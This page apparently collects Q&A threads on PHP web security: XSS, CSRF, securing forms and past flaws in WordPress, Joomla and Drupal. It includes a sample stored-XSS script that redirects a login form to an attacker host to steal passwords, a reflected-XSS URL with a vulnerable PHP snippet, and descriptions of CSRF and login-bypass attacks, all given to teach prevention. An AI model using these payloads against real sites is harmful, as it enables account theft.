Need to prevent XSS attacks? - php

I am working on a project that allows a user to customize a web page. Currently, it is possible for this user to add HTML to the page. From my research, it appears that XSS attacks are generally used to hijack sessions / steal cookies. My question is, if visitors are not allowed to add any content to this page, and if the user who customizes the page is the only person able to log in, is it necessary to prevent XSS attacks? My thought is no, because the only cookies available to steal are his or her own.

Maaaybe, since it sounds like you're saying that only User A can see HTML submitted by User A, but you'd still have to be careful, since we're assuming that User A is aware of all data being submitting on his or her behalf. Consider the following attack.
Trick User A into visiting my malicious site.
Auto-submit a form to your website containing malicious HTML.
Redirect User A to your website, where they will see my malicious HTML that steals their cookies and sends them to me.
Maybe you'd be okay if you implemented CSRF protection that prevents me from submitting on the user's behalf, but it's still kinda scary. If users need to be able to use HTML (but they usually don't), consider a tool like HTML Purifier that allows HTML known to be safe but blocks potentially malicious HTML: that way, most legitimate use cases would probably be satisfied, but XSS will be darn near impossible, even if the other security systems fall apart. It's easy to implement, and a small price to pay for that additional level of security.

Related

Is user input of HTML with Javascript that is displayed to others but not HTML-escaped an example of a XSS

I'm a PHP developer and I'm looking to improve the security of my sites.
From what I understand the following are two major types of vulnerabilities which affect web applications:
SQL Injection
XSS
SQL Injection can be fixed with prepared statements - easy.
But I still don't really get XSS - is the following an example of XSS?...
Page full of user-made content has a login form at the top (site-wide).
The user's input to the page is not HTML-escaped.
A user posts the following content (e.g. a comment) to the page...
A really nice comment
<!-- now an evil script (example here with jquery, but easily done without) --->
<script type="text/javascript">
$(document).ready(function() {
$('#login_form').attr('action','http://somehackysite.com/givemeyourpw.php');
});
</script>
An innocent user comes to the page, the script executes.
The innocent user realises they're not logged in, and enter their details into the form.
The user's details are sent off to http://somehackysite.com/givemyourpw.php and then the user's account details are stolen.
So I really have three questions here:
Would this work?
Is this XSS?
Are there any precautions developers should take against XSS other than escaping HTML?
There are two types are XSS attacks: Reflected XSS and Persistent XSS attacks. What you've described, where a user of the site inputs data that gets saved on the server side, and is rendered for anyone viewing a page, is considered Persistent XSS. Similar attacks would be if you have a comment box on a post that doesn't escape Javascript, or a profile page I can put anything into.
The other class of XSS attacks is Reflected XSS. These are a little more complicated, but they amount to one of the arguments in the URL for a page not being escaped. They frequently come up in things like Search pages on large websites. You'll get a URL that includes some javascript in it (sorry, my example got mangled by the renderer here, so I can't show you an example) , and the page will render the javascript which would allow someone to craft a malicious URL. These are especially dangerous on sites that hand any sort of financial data; imagine a conscientious user who always checks to make sure the they're going to the write link to their bank, but because of a Reflected XSS attack an attacker is able to send them to a legitimate page on their bank's website, but that has malicious code in it.
In any case, your example is Persistent XSS. You can do even more nefarious things with attacks like that than just changing where a login form sends users. They've been popular for years to do things like scraping information from personal areas of sites, or coupled with CSRF to cause an authenticated user to do something by simply looking at a page. There were a few MySpace viruses a while back that did that, and spread from profile to profile.
Is this XSS?
Yes, this is an injection flaw in general and would be referred to as a XSS exploit in this particular case as it’s JavaScript that was injected.
But this injection flaw, where one user’s input gets reflected to other users without any changes, can also yield to other attacks like defacement.
Would this work?
Yes, it’s very likely that this would work as it’s the origin server that serves this code snipped just like any other code in the web page. So it’s like the author of the web site is the originator of this code and will be treated likewise.
Are there any precautions developers should take against XSS other than escaping HTML?
There are actually three different types of XSS: DOM based XSS, Reflected XSS, and Stored/persistent XSS). Your example is a stored/persistend XSS exploit as the server deploys the exploit with every request.
The general rule is not to trust any user input. That said either only valid user input should be allowed or the user input is filtered (removing invalid values) or properly encoded (convert invalid values) before outputting it. See OWASP’s XSS Cheat Sheet for further information.
it's xss and i believe it's javascript injection too
so i think this link will help
Yes that is an example of a basic persistent XSS attack. Not only could a user steal credentials in this situation but also attempt to infect visitors, or spam links through your site.
OWASP XSS Prevention Guide is a good start.
https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet

Using a session token or nonce for Cross-site Request Forgery Protection (CSRF)?

I inherited some code that was recently attacked where the attacker sent repeated remote form submissions.
I implemented a prevention using a session auth token that I create for each user (not the session id). While I realize this specific attack is not CSRF, I adapted my solution from these posts (albeit dated).
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29
http://tyleregeto.com/a-guide-to-nonce
http://shiflett.org/articles/cross-site-request-forgeries
However, it still feels there is some vulnerability here. While I understand nothing is 100% secure, I have some questions:
Couldn't a potential attacker simply start a valid session then include the session id (via cookie) with each of their requests?
It seems an nonce would be better than session token. What's the best way to generate and track an nonce?
I came across some points about these solutions being only single window. Could someone elaborate on this point?
Do these solutions always require a session? Or can these tokens be created without a session? UPDATE, this particular page is just a single page form (no login). So starting a session just to generate a token seems excessive.
Is there a simpler solution (not CAPTCHA) that I could implement to protect against this particular attack that would not use sessions.
In the end, I am looking for a better understanding so I can implement a more robust solution.
As far as I understand you need to do three things: make all of you changing-data actions avaliable only with POST request, disallow POST requests without valid referrer(it must be from the same domain) and check auth token in each POST request(POST token value must be the same as token in cookie).
First two will make it really hard to do any harmfull CSRF request as they are usually hidden images in emails, on other sites etc., and making cross-domain POST request with valid referer should be impossible/hard to do in modern browsers. The thid will make it completely impossible to do any harmfull action without stealing user's cookies/sniffing his traffic.
Now about your questions:
This question really confuses me: if you are using auth tokens correctly then attacker must know user's token from cookie to send it along with request, so why starting a valid attacker's own session can do any harm?
Nonces will make all your links ugly - I have never seen anyone using them anymore. And I think your site can be Dosed using it as you must save/search all the nounces in database - a lot of request to generate nounces may increase your database size really fast(and searching for them will be slow).
If you allow only one nounce per user_id to prevent (2) Dos attack then if user opens a page, then opens another page and then submits the first page - his request will be denied as a new nounce was generated and the old one is already invalid.
How else you will identify a unique user without a session ID be it a cookie, GET or POST variable?
UPD: As we are not talking abot CSRF anymore: you may implement many obscure defences that will prevent spider bots from submitting your form:
Hidden form fields that should not be filled(bots usually fill most of form fields that they see that have good names, even if they are realy hidden for a user)
Javascript mouse trackers (you can analyse recorded mouse movements to detect bots)
File request logs analysis(when a page is loaded javascript/css/images should be loaded too in most cases, but some(really rare) users have it turned off)
Javascript form changes(when a hidden(or not) field is added to a form with javascript that is required on server-side: bots usually don't execute javascript)
Traffic analysis tools like Snort to detect Bot patterns (strange user-agents, too fast form submitting, etc.).
and more, but in the end of the day some modern bots use total emulation of real user behaviour(using real browser API calls) - so if anyone really want to attack your site, no defence like this will help you. Even CAPTCHA today is not very reliable - besides complex image recognition algorithms you can now buy 1000 CAPTCHA's solved by human for any site for as low as $1(you can find services like this mostly in developing countries). So really, there is no 100% defence against bots - each case is different: sometimes you will have to create complex defence system yourself, sometimes just a little tweak will help.

When its Necessary to Protect Forms with Token (CSRF attacks)?

As much as I understand, web developer should create token and put it in hidden field of form to prevent CSRF attacks. Also, he should save the same token in a session and then, when form is submitted - check that tokens are equal.
I came to question... is it necessary to do this technique for all forms? I mean, imagine form that is created to sign-in. I can't see any harm done to site and/or user if there is no CSRF protection, because user have no privileges (like he would have if he would be signed-in). The same goes for sign-up... Am I right?
P.S. If I'm wrong, please explain me the concept.
The danger that CSRF tries to prevent is when you have the following situation:
The user has signed-in or whatever, and has a certain level of authority
The bad guy exploits that authority without the user's permission
Sometimes this is by tricking the user into making an HTTP request without knowing it, for example in an image's source attribute.
The forms you want to protect are the forms that require this authority.
On the crazy, off-chance that this didn't actually make sense, Chris Shiflett has an awesome article on CSRF (which you may very well have already read :/)
Generally speaking, you want to protect your form anytime its submission will result in a change of content/state; be it adding it, removing it, editing it or sharing it with an external source ("share on xyz !").
An exemple of forms you wouldn't need to protect is a search box, since it doesn't result in any change of content.
If you're unsure, any form which will result in something being saved/deleted (whether it's on your site or not) should be protected.
And if you are really unsure just add the token, doesn't cost anything to be safe.

How do I secure PHP forms?

I don't run a mission critical web site so I'm not looking for an industrial strength solution. However I would like to protect against basic attacks such as someone mocking up a false page on the hard disk and attempting to gain unauthorized access. Are there any standard techniques to ensure that form submission is only accepted from legitimate uses?
A few techniques come close:
Produce a form key for every form. The key would relate to a database record, and something else unique about the page view (the userID, a cookie, etc.). A form cannot be posted if the form key does not match for that user/cookie. The key is used only once, preventing an automated tool from posting again using a stolen key (for that user).
The form key can also be a shared-secret hash: the PHP generating the form can hash the cookie and userID, for example, something you can verify when the form is posted.
You can add a captcha, requiring a user to verify.
You can also limit the number of posts from that user/cookie (throttling), which can prevent certain forms of automated abuse.
You can't guarantee that the form isn't posted from disk, but you can limit how easily it is automated.
You can't. There's no reliable way to distinguish between an HTTP request generated from a user on your page, or a malicious user with their own web-page.
Just use a proper password authentication approach, and no-one will be able to break anything unless they know the password (regardless of where the HTTP requests are coming from). Once you have reliable server-side authentication, you don't need to waste time jumping through non-robust hoops worrying about this scenario.
You should not create a login-system yourself because it is difficult to get it right(security). You should NOT store the passwords(in any form whatsoever) of your users on your site(dangerous) => Take for example lifehacker.com which got compromised(my account too :(). You should use something like lightopenid(as stackoverflow also uses openid) for your authentication.
The remaining forms you have on your site should have the following protection(at least):
CSRF protection: This link explains thorougly what CSRF is and even more important how to protect against CSRF
Use http-only cookies: http-only sessions, http-only cookies
Protect against XSS using filter.
Use PDO prepared statement to protect youself against SQL-injection
i also recommend:
Save the IP of the computer that sends the form (to block it from the server if it.s annoying)
Use CAPTCHA when required, to avoid robots...
Send users to another page when the info is loaded, so the POST data won't be retrieved when you refresh the page.
Proper validation of form data is important to protect your form from hackers and spammers!
Strip unnecessary characters (extra space, tab, newline) from the
user input data (with the PHP trim() function)
Remove backslashes () from the user input data (with the PHP
stripslashes() function)
for more detail, you can refer to Form Validation

Historical security flaws of popular PHP CMS's?

I'm creating a PHP CMS, one that I hope will be used by the public. Security is a major concern and I'd like to learn from some of the popular PHP CMS's like Wordpress, Joomla, Drupal, etc. What are some security flaws or vulnerabilities that they have they had in the past that I can avoid in my application and what strategies can I use to avoid them? What are other issues that I need to be concerned with that they perhaps didn't face as a vulnerability because they handled it correctly from the start? What additional security features or measures would you include, anything from minute details to system level security approaches? Please be as specific as possible. I'm generally aware of most of the usual attack vectors, but I want to make sure that all the bases are covered, so don't be afraid to mention the obvious as well. Assume PHP 5.2+.
Edit: I'm changing this to a community wiki. Even though Arkh's excellent answer is accepted, I'm still interested in further examples if you have them.
Cross-Site Request Forgery (CSRF)
Description :
The basic idea is to trick a user to a page where his browser will initiate a POST or GET request to the CMS you attack.
Imagine you know the email of a CMS powered site administrator. Email him some funny webpage with whatever you want in it. In this page, you craft a form with the data used by the admin panel of the CMS to create a new admin user. Send those data to the website admin panel, with the result in a hidden iframe of your webpage.
Voilà, you got your own administrator account made.
How to prevent it :
The usual way is to generate random short-lived (15mn to hour) nonce in all your forms. When your CMS receive a form data, it checks first if the nonce is alright. If not, the data is not used.
CMS examples :
CMS made simple
Joomla!
Drupal
ModX
More information :
On the wikipedia page and on the OWASP project.
Bad password storing
Description :
Imagine your database get hacked and published on something like wikileak. Knowing that a big part of your users use the same login and password for a lot of websites, do you want them to be easy to get ?
No. You need to mitigate the damages done if your database datas become public.
How to prevent it :
A first idea is to hash them. Which is a bad idea because of rainbow tables (even if the hash is not md5 but sha512 for example).
Second idea : add a unique random salt before hashing so the hackers has to bruteforce each password. The problem is, the hacker can compute a lot of hash fast.
So, the current idea is to make it slow to hash the passwords : you don't care because you don't do it often. But the attacker will cry when he gets from 1000 hash generated per ms to 1.
To ease the process, you can use the library phpass developped by some password guru.
CMS examples :
Joomla! : salted md5
ModX : md5
Typo3 : cleartext
Drupal : switched to phpass after this discussion.
More information :
The phpass page.
Cross Site Scripting (XSS)
Description
The goal of these attacks, is to make your website display some script which will be executed by your legitimate user.
You have two kind of these : persistent or not. The first one comes usually from something your user can save, the other count on parameters given by a request sent. Here is an example, not persistent :
<?php
if(!is_numeric($_GET['id'])){
die('The id ('.$_GET['id'].') is not valid');
}
?>
Now your attacker can just send links like http://www.example.com/vulnerable.php?id=<script>alert('XSS')</script>
How to prevent it
You need to filter everything you output to the client. The easiest way is to use htmlspecialchars if you don't want to let your user save any html. But, when you let them output html (either their own html or some generated from other things like bbcode) you have to be very careful. Here is an old example using the "onerror" event of the img tag : vBulletin vulnerability. Or you have the old Myspace's Samy.
CMS examples :
CMS made simple
Mura CMS
Drupal
ModX
More information :
You can check wikipedia and OWASP. You also have a lot of XSS vector on ha.ckers page.
Mail header injection
Description :
Mail headers are separated by the CRLF (\r\n) sequence. When you use some user data to send mails (like using it for the From: or To:) they can inject more headers. With this, they can send anonymous mails from your server.
How to prevent it :
Filter all the \n, \r, %0a and %0d characters in your headers.
CMS examples :
Jetbox CMS
More information :
Wikipedia is a good start as usual.
SQL Injection
Description :
The old classic. It happen when you form a SQL query using direct user input. If this input is crafted like needed, a user can do exactly what he want.
How to prevent it :
Simple. Don't form SQL queries with user input. Use parameterized queries.
Consider any input which is not coded by yourself as user input, be it coming from the filesystem, your own database or a webservice for example.
CMS example :
Drupal
Joomla!
ModX
Pars CMS
More information :
Wikipedia and OWASP have really good pages on the subject.
Http response splitting
Description :
Like e-mail headers, the http headers are separated by the CLRF sequence. If your application uses user input to output headers, they can use this to craft their own.
How to prevent it :
Like for emails, filter \n, \r, %0a and %0d characters from user input before using it as part of a header. You can also urlencode your headers.
CMS examples :
Drake CMS
Plone CMS
Wordpress
More information :
I'll let you guess a little as to where you can find a lot of infos about this kind of attack. OWASP and Wikipedia.
Session hijacking
Description :
In this one, the attacker want to use the session of another legitimate (and hopefully authenticated) user.
For this, he can either change his own session cookie to match the victim's one or he can make the victim use his (the attacker's) own session id.
How to prevent it :
Nothing can be perfect here :
- if the attacker steal the victim's cookie, you can check that the user session matches the user IP. But this can render your site useless if legitimate users use some proxy which change IP often.
- if the attacker makes the user use his own session ID, just use session_regenerate_id to change the session ID of a user when his rights change (login, logout, get in admin part of the website etc.).
CMS examples :
Joomla! and Drupal
Zen Cart
More information :
Wikipedia page on the subject.
Other
User DoSing : if you prevent bruteforcing of login attempt by disabling the usernames tried and not the IP the attempts come from, anyone can block all your users in 2mn. Same thing when generating new passwords : don't disable the old one until the user confirm the new one (by loging with it for example).
Using user input to do something on your filesystem. Filter this like if it was cancer mixed with aids. This concern the use of include and require on files which path is made in part from the user input.
Using eval, system, exec or anything from this kind with user input.
Don't put files you don't want web accessible in web accessible directory.
You have a lot of things you can read on the OWASP page.
I remember a rather funny one from phpBB. The autologin cookie contained a serialized array containing a userId and encrypted password (no salt). Change the password to a boolean with value true and you could log in as anyone you wanted to be. Don't you love weaktyped languages?
Another issue that phpBB had was in an regular expression for the highlighting of search keywords that had a callback (with the e modifier), which enabled you to execute your own PHP code - for example, system calls on unsecure systems or just output the config file to get the MySQL login/password.
So to sum this story up:
Watch out for PHP being weaktyped ( md5( "secretpass" ) == true ).
Be careful with all code that could be used in a callback (or worse, eval).
And of course there are the other issues already mentioned before me.
Another application level security issue that I've seen CMSes deal with is insufficiently authorizing page or function level access. In other words, security being set by only showing links when you are authorized to view those links, but not fully checking that the user account is authorized to view the page or use the functionality once they are on the page.
In other words, an admin account has links displayed to go to user management pages. But the user management page only checks that the user is logged in, not that they are logged in and admin. A regular user then logs in, manually types in the admin page URI, then has full admin access to the user management pages and makes their account into an admin account.
You'd be surprised how many times I've seen things like that even in shopping cart applications where user CC data is viewable.
The biggest one that so many people seem to either forget or not realise is that anyone can post any data to your scripts, including cookies and sessions etc. And don't forget, just because a user is logged in, doesn't mean they can do any action.
For example, if you had a script that handles the adding/editing of a comment, you might have this:
if ( userIsLoggedIn() ) {
saveComment( $_POST['commentid'], $_POST['commenttext'] )
}
Can you see what's wrong? You checked that the user is logged in, but you didn't check if the user owns the comment, or is able to edit the comment. Which means any logged-in user could post a comment ID and content and edit others' comments!
Another thing to remember when providing software to others is that server set ups vary wildly. When data is posted you may want to do this, for example:
if (get_magic_quotes_gpc())
$var = stripslashes($_POST['var']);
else
$var = $_POST['var'];
So so many..
A number of answers here are listing specific vuls they remember or generic "things i worry about when writing a webapp", but if you want a reasonably reliable list of a majority of reported vulnerabilities found historically, then you wouldn't do much worse than to search the National Vulnerability Database
There are 582 vulnerabilities reported in Joomla or Joomla addons, 199 for Wordpress and 345 for Drupal for you to digest.
For generic understanding of common webapp vuls, the OWASP Top Ten project has recently been updated and is an essential read for any web developer.
A1: Injection
A2: Cross-Site Scripting (XSS)
A3: Broken Authentication and Session Management
A4: Insecure Direct Object References
A5: Cross-Site Request Forgery (CSRF)
A6: Security Misconfiguration
A7: Insecure Cryptographic Storage
A8: Failure to Restrict URL Access
A9: Insufficient Transport Layer Protection
A10: Unvalidated Redirects and Forwards
Four big ones in my mind:
using exec on untrusted data/code (or in general)
include-ing files from remote URL's for local execution
enabling register globals so that get and post variables
get variable values automatically assigned.
not escaping db entered data/ allowing SQL injection attacks
(usually happens when not using a DB API layer)
Disallow POST from other domain/IP So Bots cant login/submit forms.
People, the biggest security breech, is the human stupidity. Trust, review code. You need a special team, which will review anything that added as an extra code in your application, cms's problem are the outsource, the incomings, WordPress, Drupal, Joomla, and other popular cms, like default installations, they are really in a very good point secure. The problem is coming when you leave people to add extra code in your application, without a good review (or better, without penetration testing). This is the point where WordPress and Joomla have the weakness, there re so many plugin n theme devs, there are so many approvals,hundreds of outdated plugins n themes outhere.... So imho, if you are able to build a strong team, a good security plan, train your contributors, and learn them how to code secure, and with all the other comments before mine, then you will be able to move on and say :ei hi that's my cms, and it's a bit more secure than all the other cms on the net ;)
Here's a potential pitfall for forum admins especially, but also anyone who codes up a form with a dropdown selector but doesn't validate that the posted response was actually one of the available options.
In college, I realized that the user's 'country' selector in phpBB had no such validation.
In our school forum, Instead of 'United States' or 'Afganistan', my country could be ANYTHING, no matter how silly, or filthy. All I needed was an html POST form. It took my classmates a few days to figure out how I had done it, but soon, all the 'cool kids' had funny phrases instead of countries displayed under their usernames.
Going to a geek college was awesome. :D

Categories